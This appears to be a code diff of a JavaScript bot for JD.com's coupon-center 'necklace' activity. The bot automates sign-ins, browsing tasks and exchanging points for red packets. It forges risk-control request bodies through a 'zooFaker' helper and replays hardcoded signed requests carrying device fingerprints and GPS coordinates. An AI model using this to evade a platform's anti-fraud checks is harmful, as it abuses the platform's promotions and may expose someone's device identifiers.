-  if ($.signInfo.todayCurrentSceneSignStatus === 1) {
-    console.log(`\n开始每日签到`)
-    await necklace_sign();
+  if ($.signInfo && $.signInfo.todayCurrentSceneSignStatus) {
+    if ($.signInfo.todayCurrentSceneSignStatus === 1) {
+      console.log(`\n开始每日签到`)
+      await necklace_sign();
+    } else {
+      console.log(`已签到\n`)
+    }
  } else {
-    console.log(`当前${new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).toLocaleString()}已签到`)
+    console.log(`未获取到签到信息\n`)
  }
 }
 async function reportTask(item = {}) {
@@ -155,18 +179,26 @@ async function reportTask(item = {}) {
    }
  }
  //首页浏览XX秒的任务
-  // console.log(item)
  if (item['taskType'] === 3) await doAppTask('3', item.id);
  if (item['taskType'] === 4) await doAppTask('4', item.id);
 }
+
+/**
+ * 将数字取整为10的倍数
+ * @param {Number} num 需要取整的值
+ * @param {Boolean} ceil 是否向上取整
+ * @param {Number} prec 需要用0占位的数量
+ */
+function formatInt(num, prec = 1, ceil = false) {
+  const len = String(num).length;
+  if (len <= prec) { return num }
+  const mult = Math.pow(10, prec);
+  return ceil ? Math.ceil(num / mult) * mult : Math.floor(num / mult) * mult;
+}
 //每日签到福利
 function necklace_sign() {
  return new Promise(async resolve => {
-    $.action = 'sign'
-    const body=await ZooFaker.get_risk_result($)
-    // const body = {
-    //   currentDate: $.lastRequestTime.replace(/:/g, "%3A"),
-    // }
+    const body = await zooFaker.getBody({ 'cookie': cookie, 'action': 'sign', 'joyToken': joyToken, 'uuid': uuid });
    $.post(taskPostUrl("necklace_sign", body), async (err, resp, data) => {
      try {
        if (err) {
@@ -181,6 +213,8 @@ function necklace_sign() {
                // $.taskConfigVos = data.data.result.taskConfigVos;
                // $.exchangeGiftConfigs = data.data.result.exchangeGiftConfigs;
              }
+            } else if (data.rtn_code === 403) {
+              console.log(`每日签到失败：活动太火爆了,还是去买买买吧~\n`);
            } else {
              console.log(`每日签到失败：${JSON.stringify(data)}\n`);
            }
@@ -196,12 +230,9 @@ function necklace_sign() {
 }
 //兑换无门槛红包
 function necklace_exchangeGift(scoreNums) {
-  return new Promise(resolve => {
-    const body = {
-      scoreNums,
-      "giftConfigId": 31,
-      currentDate: $.lastRequestTime.replace(/:/g, "%3A"),
-    }
+  return new Promise(async resolve => {
+    const body = await zooFaker.getBody({ 'cookie': cookie, 'action': 'exchangeGift', 'id': scoreNums, 'joyToken': joyToken, 'uuid': uuid });
+    console.log(`\n使用${scoreNums}个点点券兑换${scoreNums / 1000}元无门槛红包`);
    $.post(taskPostUrl("necklace_exchangeGift", body), async (err, resp, data) => {
      try {
        if (err) {
@@ -216,7 +247,10 @@ function necklace_exchangeGift(scoreNums) {
                message += `${result.redpacketTitle}：${result.redpacketAmount}元兑换成功\n`;
                message += `红包有效期：${new Date(result.endTime + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).toLocaleString('zh', {hour12: false})}`;
                console.log(message)
+                if ($.isNode()) await notify.sendNotify($.name, message);
              }
+            } else {
+              console.log(`兑换失败：${JSON.stringify(data)}`)
            }
          }
        }
@@ -231,28 +265,23 @@ function necklace_exchangeGift(scoreNums) {
 //领取奖励
 function necklace_chargeScores(bubleId) {
  return new Promise(async resolve => {
-    $.id = bubleId
-    $.action = 'chargeScores'
-    const body=await ZooFaker.get_risk_result($);
-    // const body = {
-    //   bubleId,
-    //   currentDate: $.lastRequestTime.replace(/:/g, "%3A"),
-    // }
+    const body = await zooFaker.getBody({ 'cookie': cookie, 'action': 'chargeScores', 'id': bubleId, 'giftConfigId': $.giftConfigId, 'joyToken': joyToken, 'uuid': uuid });
    $.post(taskPostUrl("necklace_chargeScores", body), async (err, resp, data) => {
      try {
        if (err) {
          console.log(`${JSON.stringify(err)}`)
          console.log(`${$.name} API请求失败，请检查网路重试`)
        } else {
+          // console.log(`领取点点券结果`, data);
          if (safeGet(data)) {
            data = JSON.parse(data);
            if (data.rtn_code === 0) {
              if (data.data.biz_code === 0) {
-                // $.taskConfigVos = data.data.result.taskConfigVos;
-                // $.exchangeGiftConfigs = data.data.result.exchangeGiftConfigs;
+                console.log(`点点券领取成功,获得${data.data.result.giftScoreNum},当前共有${data.data.result.totalScoreNum}\n`)
+                // $.giftScoreNum = data.data.result.giftScoreNum;
+                $.totalScore = data.data.result.totalScoreNum;
              }
            } else {
-              UA = `jdapp;android;10.0.2;9;${randomString(28)}-${randomString(28)};`
              console.log(`领取点点券失败：${JSON.stringify(data)}\n`)
            }
          }
@@ -271,20 +300,16 @@ function necklace_startTask(taskId, functionId = 'necklace_startTask', itemId =
      taskId,
      currentDate: $.lastRequestTime.replace(/:/g, "%3A"),
    }
-    if(functionId == 'necklace_startTask'){
-      $.id = taskId
-      $.action = 'startTask'
-      body=await ZooFaker.get_risk_result($)
-    }else{
-      if (itemId) body['itemId'] = itemId;
+    if (functionId === 'necklace_startTask') {
+      body = await zooFaker.getBody({ 'id': taskId, 'cookie': cookie, 'action': 'startTask', 'joyToken': joyToken, 'uuid': uuid })
    }
+    if (itemId && functionId === 'necklace_reportTask') body['itemId'] = itemId;
    $.post(taskPostUrl(functionId, body), async (err, resp, data) => {
      try {
        if (err) {
          console.log(`${JSON.stringify(err)}`)
          console.log(`${$.name} API请求失败，请检查网路重试`)
        } else {
-          console.log(`${functionId === 'necklace_startTask' ? '领取任务结果' : '做任务结果'}：${data}`);
          if (safeGet(data)) {
            data = JSON.parse(data);
            if (data.rtn_code === 0) {
@@ -292,6 +317,10 @@ function necklace_startTask(taskId, functionId = 'necklace_startTask', itemId =
                // $.taskConfigVos = data.data.result.taskConfigVos;
                // $.exchangeGiftConfigs = data.data.result.exchangeGiftConfigs;
              }
+            } else if (data.rtn_code === 403) {
+              console.log(`${functionId === 'necklace_startTask' ? '领取任务失败' : '做任务失败'}：活动太火爆了,还是去买买买吧~\n`);
+            } else {
+              console.log(`${functionId === 'necklace_startTask' ? '领取任务失败' : '做任务失败'}：${JSON.stringify(data)}\n`);
            }
          }
        }
@@ -350,11 +379,16 @@ function necklace_homePage() {
            if (data.rtn_code === 0) {
              if (data.data.biz_code === 0) {
                $.taskConfigVos = data.data.result.taskConfigVos;
-                $.exchangeGiftConfigs = data.data.result.exchangeGiftConfigs;
+                $.exchangeGiftConfigs = data.data.result.exchangeGiftConfigs || [];
                $.lastRequestTime = data.data.result.lastRequestTime;
                $.bubbles = data.data.result.bubbles;
-                $.signInfo = data.data.result.signInfo;
+                $.signInfo = data.data.result.signInfo || {};
                $.totalScore = data.data.result.totalScore;
+                const config = $.exchangeGiftConfigs.filter(item => item['giftType'] === 1);
+                if (config && config[0]) {
+                  $.giftConfigId = config[0]['id'];
+                  console.log(`点点券兑换无门槛红包ID为：${$.giftConfigId}`);
+                }
              }
            }
          }
@@ -369,52 +403,40 @@ function necklace_homePage() {
 }

 async function doAppTask(type = '3', id) {
-  console.log(id)
-  let functionId = 'getCcTaskList'
-  let body = "area=16_1315_3486_59648&body=%7B%22pageClickKey%22%3A%22CouponCenter%22%2C%22shshshfpb%22%3A%22dPH6zeJy%5C/HFogCIf0ZGFYqSDOShGwmpjVOPM%5C/ViCGC5fgBLL9JoI9mjgUt46vjSFeSkmU9DZLEjFaeFTWBj4Axg%3D%3D%22%2C%22eid%22%3A%22eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY%5C/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0%5C/dGmOJzfbLuyNo%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22lat%22%3A%2224.49441271645999%22%2C%22globalLat%22%3A%2224.49335%22%2C%22lng%22%3A%22118.1447713674174%22%2C%22globalLng%22%3A%22118.1423%22%7D&build=167707&client=apple&clientVersion=10.0.4&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=70&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=75afd018b5751e9ac4cba0b51b8adb3c&st=1624535152771&sv=101&uemps=0-0&uts=0f31TVRjBStsz%2BC9YKuTtbGZPv/xrvQQdSUKvavez1nEbzXO4dLo%2BXEvUHAXAd0VPmZqkUNAf2yO/fBM7ImhPYnyBrotzw06Kk7qP6mG42fhA1t5BkW3ZGLaQgPtiuosYOHPMyHpg%2BJ9ZQBP4g3zsSFq2DUWsTOZbb85I4ThMCgqvymyLl48ebUg7aQTle9CfTJVWu5gx0YZ/ScklgN9Pg%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b"
-  await getCcTaskList(functionId, body, type);
-  if(Number(id) == 229){
+  let functionId = ``
+  let body = `area=1_2953_54044_0&body=%7B%22pageClickKey%22%3A%22CouponCenter%22%2C%22shshshfpb%22%3A%22xMvLenI90G5fXNwdmMLrZ9zcRvSKKKrp3twx2gniQsgkav01VHSjwfaIlRQEYYJ4lUh7i6BmZXDIqLmrcpFgFPw%3D%3D%22%2C%22eid%22%3A%22eidI10a1812352s2f8fFJhaZRAaygJavMzzPuH%5C/HxpE9QzhNJ2Cf5aWxpC%2Bi2hshw7jujEFX%5C/JQtTGYOL2wlDjPaiPMK0KbiFPDza4sbsufvPStkf1tM%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22lat%22%3A%2240.18191448804161%22%2C%22globalLat%22%3A%2240.18993%22%2C%22lng%22%3A%22117.0065653831892%22%2C%22globalLng%22%3A%22117.010071%22%7D&build=167741&client=apple&clientVersion=10.0.8&d_brand=apple&d_model=iPhone10%2C2&eid=eidI10a1812352s2f8fFJhaZRAaygJavMzzPuH/HxpE9QzhNJ2Cf5aWxpC%2Bi2hshw7jujEFX/JQtTGYOL2wlDjPaiPMK0KbiFPDza4sbsufvPStkf1tM&isBackground=N&joycious=95&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8548106a862f1fe7b4b84d3a16f7ffdcf47390de&osVersion=14.4.2&partner=apple&rfs=0000&scope=01&screen=1242%2A2208&sign=2c33f9e1230505e54632d18706b99d5c&st=1627058018278&sv=100&uemps=0-0&uts=0f31TVRjBStnWyWKh4kj%2BvuskvWGi54eyJH5cLJVT6QoOtzNpjyhH/ToU5X7LhKoleMMycwNk8t28%2BJhe0WWPZLkED4dnpAJv9MsudkLTd%2BKR8CJOEgC4PH/IFRT8y51lwtUBXR26fHwsk4aYqBSg0uiALvjv09TMPXJwxQIQ6gEdaaN2v%2B2PBvm1Obp5Nr0RMweFYy4mc1DamSX2mqF5g%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=a19cc6de09ae7d189d19659de2c95af6`
+  await getCcTaskList('getCcTaskList', body, type);
+  if (id === 229) {
    body = `area=16_1315_3486_59648&body=%7B%22shshshfpb%22%3A%22dPH6zeJy%5C/HFogCIf0ZGFYqSDOShGwmpjVOPM%5C/ViCGC5fgBLL9JoI9mjgUt46vjSFeSkmU9DZLEjFaeFTWBj4Axg%3D%3D%22%2C%22globalLng%22%3A%22118.1423%22%2C%22globalLat%22%3A%2224.49335%22%2C%22monitorSource%22%3A%22ccgroup_ios_index_task%22%2C%22monitorRefer%22%3A%22%22%2C%22taskType%22%3A%222%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22pageClickKey%22%3A%22CouponCenter%22%2C%22lat%22%3A%2224.49441271645999%22%2C%22taskId%22%3A%22necklace_229%22%2C%22lng%22%3A%22118.1447713674174%22%2C%22eid%22%3A%22eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY%5C/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0%5C/dGmOJzfbLuyNo%22%7D&build=167707&client=apple&clientVersion=10.0.4&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=70&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=57453a76ffe9440d7961b05405fb4f13&st=1624535165882&sv=110&uemps=0-0&uts=0f31TVRjBStsz%2BC9YKuTtbGZPv/xrvQQdSUKvavez1nEbzXO4dLo%2BXEvUHAXAd0VPmZqkUNAf2yO/fBM7ImhPYnyBrotzw06Kk7qP6mG42fhA1t5BkW3ZGLaQgPtiuosYOHPMyHpg%2BJ9ZQBP4g3zsSFq2DUWsTOZbb85I4ThMCgqvymyLl48ebUg7aQTle9CfTJVWu5gx0YZ/ScklgN9Pg%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b`
-  }else if(Number(id) == 260){
+  } else if (id === 260) {
    body = `area=16_1315_3486_59648&body=%7B%22shshshfpb%22%3A%22hRRVbEkLST%2BoqUB6fhir%2BfMoJS814u0eqASGoy8xq0vV1m9X9zKoAVYtaZjcO4UsQaWNyUrMVkZK5HBZ5aJo5zQ%3D%3D%22%2C%22globalLng%22%3A%22118.1423%22%2C%22globalLat%22%3A%2224.49335%22%2C%22monitorSource%22%3A%22ccgroup_ios_index_task%22%2C%22monitorRefer%22%3A%22%22%2C%22taskType%22%3A%222%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22pageClickKey%22%3A%22CouponCenter%22%2C%22lat%22%3A%2224.49435886957707%22%2C%22taskId%22%3A%22necklace_260%22%2C%22lng%22%3A%22118.144791637343%22%2C%22eid%22%3A%22eidI0faa812328s1AvGqBpW%2BSouJeXiZIORi9gLxq36FvXhk6SQPmtUFPglIaTIxGXnVzVAwHm%5C/QEwj14SR2vxSgH5tw4rWGdLJtHzSh8bloRLoX8mFY%22%7D&build=167568&client=apple&clientVersion=9.4.2&d_brand=apple&d_model=iPhone12%2C1&eid=eidI0faa812328s1AvGqBpW%2BSouJeXiZIORi9gLxq36FvXhk6SQPmtUFPglIaTIxGXnVzVAwHm/QEwj14SR2vxSgH5tw4rWGdLJtHzSh8bloRLoX8mFY&isBackground=N&joycious=51&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=ebf4ce8ecbb641054b00c00483b1cee85660d196&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=93249982ced7ec850c69de8b3e859dab&st=1624610691429&sv=110&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJSTfJm3Nbyn7GqB7OtrJRuHoZMYV%2Bs0mkEZsSwjxzwlDPXLeepml5BnM5XPZQmPVomYBHlkSfLJWR5D1y0Ovgf60fpjMS2gXL5aLh50cNO3cmx2GvVTaTeYxvRUl%2BpaW7HXsuBhxJgA6pUzd01tBX9yiFih8xvToesg91Nl8KcWGYzXJ2/hWKXg%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b`
-  }else if(Number(id) == 267){
+  } else if (id === 267){
    body = `area=16_1315_3486_59648&body=%7B%22shshshfpb%22%3A%22dPH6zeJy%5C/HFogCIf0ZGFYqSDOShGwmpjVOPM%5C/ViCGC5fgBLL9JoI9mjgUt46vjSFeSkmU9DZLEjFaeFTWBj4Axg%3D%3D%22%2C%22globalLng%22%3A%22118.1423%22%2C%22globalLat%22%3A%2224.49335%22%2C%22monitorSource%22%3A%22ccgroup_ios_index_task%22%2C%22monitorRefer%22%3A%22%22%2C%22taskType%22%3A%222%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22pageClickKey%22%3A%22CouponCenter%22%2C%22lat%22%3A%2224.49437467152672%22%2C%22taskId%22%3A%22necklace_267%22%2C%22lng%22%3A%22118.1447981202065%22%2C%22eid%22%3A%22eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY%5C/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0%5C/dGmOJzfbLuyNo%22%7D&build=167707&client=apple&clientVersion=10.0.4&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=70&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=64e2361aa2a81068930c0c3325fd45ef&st=1624950832218&sv=111&uemps=0-0&uts=0f31TVRjBSsMGLCxYS3UIqlZl8dbXmnuZ4ayfhN43Ot1QaV41onc66czNm7agt5ZxuI/ZiEjTyLMd9C68bu6j250BhqFBz9aHYMZHRsZRt99av4Tsia77GOWxlDaSYf5ixm0pZhBRR4OQ%2BUBD6%2BPW4wCMOS5CO3/VI2cFHPfi%2BdGNinbfncIha86vGUGuGKiHSAf4rUFY4wrafX6Rksw7g%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b`
-  }else if(Number(id) == 273){
+  } else if (id === 273) {
    body = `area=16_1315_3486_59648&body=%7B%22shshshfpb%22%3A%22dPH6zeJy%5C/HFogCIf0ZGFYqSDOShGwmpjVOPM%5C/ViCGC5fgBLL9JoI9mjgUt46vjSFeSkmU9DZLEjFaeFTWBj4Axg%3D%3D%22%2C%22globalLng%22%3A%22118.1423%22%2C%22globalLat%22%3A%2224.49335%22%2C%22monitorSource%22%3A%22ccgroup_ios_index_task%22%2C%22monitorRefer%22%3A%22%22%2C%22taskType%22%3A%222%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22pageClickKey%22%3A%22CouponCenter%22%2C%22lat%22%3A%2224.494383110087%22%2C%22taskId%22%3A%22necklace_273%22%2C%22lng%22%3A%22118.1447767134287%22%2C%22eid%22%3A%22eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY%5C/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0%5C/dGmOJzfbLuyNo%22%7D&build=167741&client=apple&clientVersion=10.0.8&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=71&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=c5f1773c699259a32596629ff17c77af&st=1627034890276&sv=101&uemps=0-0&uts=0f31TVRjBSuc9dw/M%2Bj%2BYjMPuoLDUbUPjPag%2BZ5OSbdXPyIGbVBxfPOWG8Z24KZdpryfyfoAUE5oYfYi1SuqGZ5atF1ARqzdFrPeo%2BZQVMmuwn/nYDGsLdj0Q9HcidhJXAaY1ti0j023Mv4f/ls51fJl5ypecBgw2sWtd8KiGQncYOe9GxCz6tlkHuSHDk3zN6hF%2BN0deRJOqJP8OOrJog%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b`
-  }else if(Number(id) == 281){
-    body = `area=16_1332_42932_43102&body=%7B%22shshshfpb%22%3A%22hRRVbEkLST%2BoqUB6fhir%2BfMoJS814u0eqASGoy8xq0vV1m9X9zKoAVYtaZjcO4UsQaWNyUrMVkZK5HBZ5aJo5zQ%3D%3D%22%2C%22globalLng%22%3A%22118.541458%22%2C%22globalLat%22%3A%2224.609455%22%2C%22monitorSource%22%3A%22ccgroup_ios_index_task%22%2C%22monitorRefer%22%3A%22%22%2C%22taskType%22%3A%222%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22pageClickKey%22%3A%22CouponCenter%22%2C%22lat%22%3A%2224.49440185204448%22%2C%22taskId%22%3A%22necklace_281%22%2C%22lng%22%3A%22118.1448096802756%22%2C%22eid%22%3A%22eidI0faa812328s1AvGqBpW%2BSouJeXiZIORi9gLxq36FvXhk6SQPmtUFPglIaTIxGXnVzVAwHm%5C/QEwj14SR2vxSgH5tw4rWGdLJtHzSh8bloRLoX8mFY%22%7D&build=167741&client=apple&clientVersion=10.0.8&d_brand=apple&d_model=iPhone12%2C1&eid=eidI0faa812328s1AvGqBpW%2BSouJeXiZIORi9gLxq36FvXhk6SQPmtUFPglIaTIxGXnVzVAwHm/QEwj14SR2vxSgH5tw4rWGdLJtHzSh8bloRLoX8mFY&isBackground=N&joycious=51&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=ebf4ce8ecbb641054b00c00483b1cee85660d196&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=6bf1da7e3c218998ae5bd34a5b9b0d5c&st=1627088377408&sv=122&uemps=0-1&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJPuQXd3Iw2YAKsnsGHXGtpI6DTtbcnaz7p7QeCmsoL2Cl/BMWopi0bEL/HBdhfK3iH/oMP6POfCzGYqGUp9HjUx/7lG%2BGpzuUJ%2B7ZrAQF4UMuG2/9epLOLCkpw4w6EgF4FqamAtXxTBCJZ82M%2Bkm26wJx996BKm7JCzdQfT6pJ0aFbovPOlp71A%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b`
+  } else if (id === 281) {
+    body = `area=1_2953_54044_0&body=%7B%22shshshfpb%22%3A%22xMvLenI90G5fXNwdmMLrZ9zcRvSKKKrp3twx2gniQsgkav01VHSjwfaIlRQEYYJ4lUh7i6BmZXDIqLmrcpFgFPw%3D%3D%22%2C%22globalLng%22%3A%22117.010071%22%2C%22globalLat%22%3A%2240.18993%22%2C%22monitorSource%22%3A%22ccgroup_ios_index_task%22%2C%22monitorRefer%22%3A%22%22%2C%22taskType%22%3A%222%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22pageClickKey%22%3A%22CouponCenter%22%2C%22lat%22%3A%2240.18191448804161%22%2C%22taskId%22%3A%22necklace_281%22%2C%22lng%22%3A%22117.0065653831892%22%2C%22eid%22%3A%22eidI10a1812352s2f8fFJhaZRAaygJavMzzPuH%5C/HxpE9QzhNJ2Cf5aWxpC%2Bi2hshw7jujEFX%5C/JQtTGYOL2wlDjPaiPMK0KbiFPDza4sbsufvPStkf1tM%22%7D&build=167741&client=apple&clientVersion=10.0.8&d_brand=apple&d_model=iPhone10%2C2&eid=eidI10a1812352s2f8fFJhaZRAaygJavMzzPuH/HxpE9QzhNJ2Cf5aWxpC%2Bi2hshw7jujEFX/JQtTGYOL2wlDjPaiPMK0KbiFPDza4sbsufvPStkf1tM&isBackground=N&joycious=95&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8548106a862f1fe7b4b84d3a16f7ffdcf47390de&osVersion=14.4.2&partner=apple&rfs=0000&scope=01&screen=1242%2A2208&sign=53be7e8df676c891c8b7ffedd695c188&st=1627058033720&sv=122&uemps=0-0&uts=0f31TVRjBStnWyWKh4kj%2BvuskvWGi54eyJH5cLJVT6QoOtzNpjyhH/ToU5X7LhKoleMMycwNk8t28%2BJhe0WWPZLkED4dnpAJv9MsudkLTd%2BKR8CJOEgC4PH/IFRT8y51lwtUBXR26fHwsk4aYqBSg0uiALvjv09TMPXJwxQIQ6gEdaaN2v%2B2PBvm1Obp5Nr0RMweFYy4mc1DamSX2mqF5g%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=a19cc6de09ae7d189d19659de2c95af6`
  }
+  console.log(`\n领券浏览任务：type:${type},id:${id}\n`);
  if (type === '4') {
-    // https://h5.m.jd.com/babelDiy/Zeus/2fDwtAwAQX1PJh51f3UXzLhKiD86/index.html
-    console.log('需等待30秒')
    functionId = 'reportSinkTask'
    body = `&appid=XPMSGC2019&monitorSource=&uuid=16245525345801334814959&body=%7B%22platformType%22%3A%221%22%2C%22taskId%22%3A%22necklace_${id}%22%7D&client=m&clientVersion=4.6.0&area=16_1315_1316_59175&geo=%5Bobject%20Object%5D`
+    console.log('需等待30秒')
    await $.wait(15000);
  } else {
-    // https://h5.m.jd.com/babelDiy/Zeus/3TcqzbLKXwyiGDzrn5nKV7sSEC8N/index.html
-    console.log('需等待15秒')
    functionId = 'reportCcTask'
+    console.log('需等待15秒')
  }
-  await $.wait(1600);
+  await $.wait(15500);
  await getCcTaskList(functionId, body, type);
 }
 function getCcTaskList(functionId, body, type = '3') {
-  let url = `https://api.m.jd.com/client.action?functionId=${functionId}`
+  let url = `https://api.m.jd.com/client.action?functionId=${functionId}`;
+  if (functionId === 'reportSinkTask') {
+    url += body
+    body = ''
+  }
  return new Promise(resolve => {
-    if (functionId === 'getCcTaskList') {
-      
-    }
-    if (functionId === 'reportCcTask'){
-      
-    }
-    if (functionId === 'reportSinkTask'){
-      url += body
-      body = ''
-    }
-    // if (type === '4' && functionId === 'reportCcTask'){
-      // url = `https://api.m.jd.com/client.action?functionId=${functionId}&body=${escape(JSON.stringify(body))}&uuid=8888888&client=apple&clientVersion=9.4.1&st=1622193986049&sign=f5abd9fd7b9b8abaa25b34088f9e8a54&sv=102`
-      // body = `body=${escape(JSON.stringify(body))}`
-    // }
    const options = {
      url,
      body,
@@ -427,7 +449,7 @@ function getCcTaskList(functionId, body, type = '3') {
        "Content-Type": "application/x-www-form-urlencoded",
        "Host": "api.m.jd.com",
        "Origin": "https://h5.m.jd.com",
-        "Cookie": cookie+$.joyytoken,
+        "Cookie": cookie,
        "Referer": "https://h5.m.jd.com/babelDiy/Zeus/4ZK4ZpvoSreRB92RRo8bpJAQNoTq/index.html",
        "User-Agent": UA,
      }
@@ -441,7 +463,20 @@ function getCcTaskList(functionId, body, type = '3') {
          if (safeGet(data)) {
            if (type === '3' && functionId === 'reportCcTask') console.log(`点击首页领券图标(进入领券中心浏览15s)任务:${data}`)
            if (type === '4' && functionId === 'reportSinkTask') console.log(`点击“券后9.9”任务:${data}`)
-            // data = JSON.parse(data);
+            data = JSON.parse(data);
+            //异常情况：{"code":"600","echo":"signature verification failed"}
+            if (data['code'] === '600' && !hasSend) {
+              hasSend = true;
+              $.msg(
+                $.name,
+                '',
+                `${type === '3' ? '点击首页领券图标(进入领券中心浏览15s)任务' : '点击“券后9.9”任务'}ID已变更\n请联系作者等待更新`
+              )
+              if ($.isNode()) await notify.sendNotify(
+                $.name,
+                `${type === '3' ? '点击首页领券图标(进入领券中心浏览15s)任务' : '点击“券后9.9”任务'}ID已变更\n请联系作者等待更新`
+              )
+            }
          }
        }
      } catch (e) {
@@ -455,34 +490,97 @@ function getCcTaskList(functionId, body, type = '3') {
 function taskPostUrl(function_id, body = {}) {
  const time = new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000;
  return {
-    url: `${JD_API_HOST}?functionId=${function_id}&appid=coupon-necklace&loginType=2&client=coupon-necklace&t=${Date.now()}`,
-    body:`body=${escape(JSON.stringify(body))}`,
-    headers: {
-      'Host': 'api.m.jd.com',
-      'accept': 'application/json, text/plain, */*',
-      'content-type': 'application/x-www-form-urlencoded',
-      'origin': 'https://h5.m.jd.com',
-      'accept-language': 'zh-cn',
-      'User-Agent': UA,
-      'referer': 'https://h5.m.jd.com/',
-      'cookie': cookie+$.joyytoken
-    },
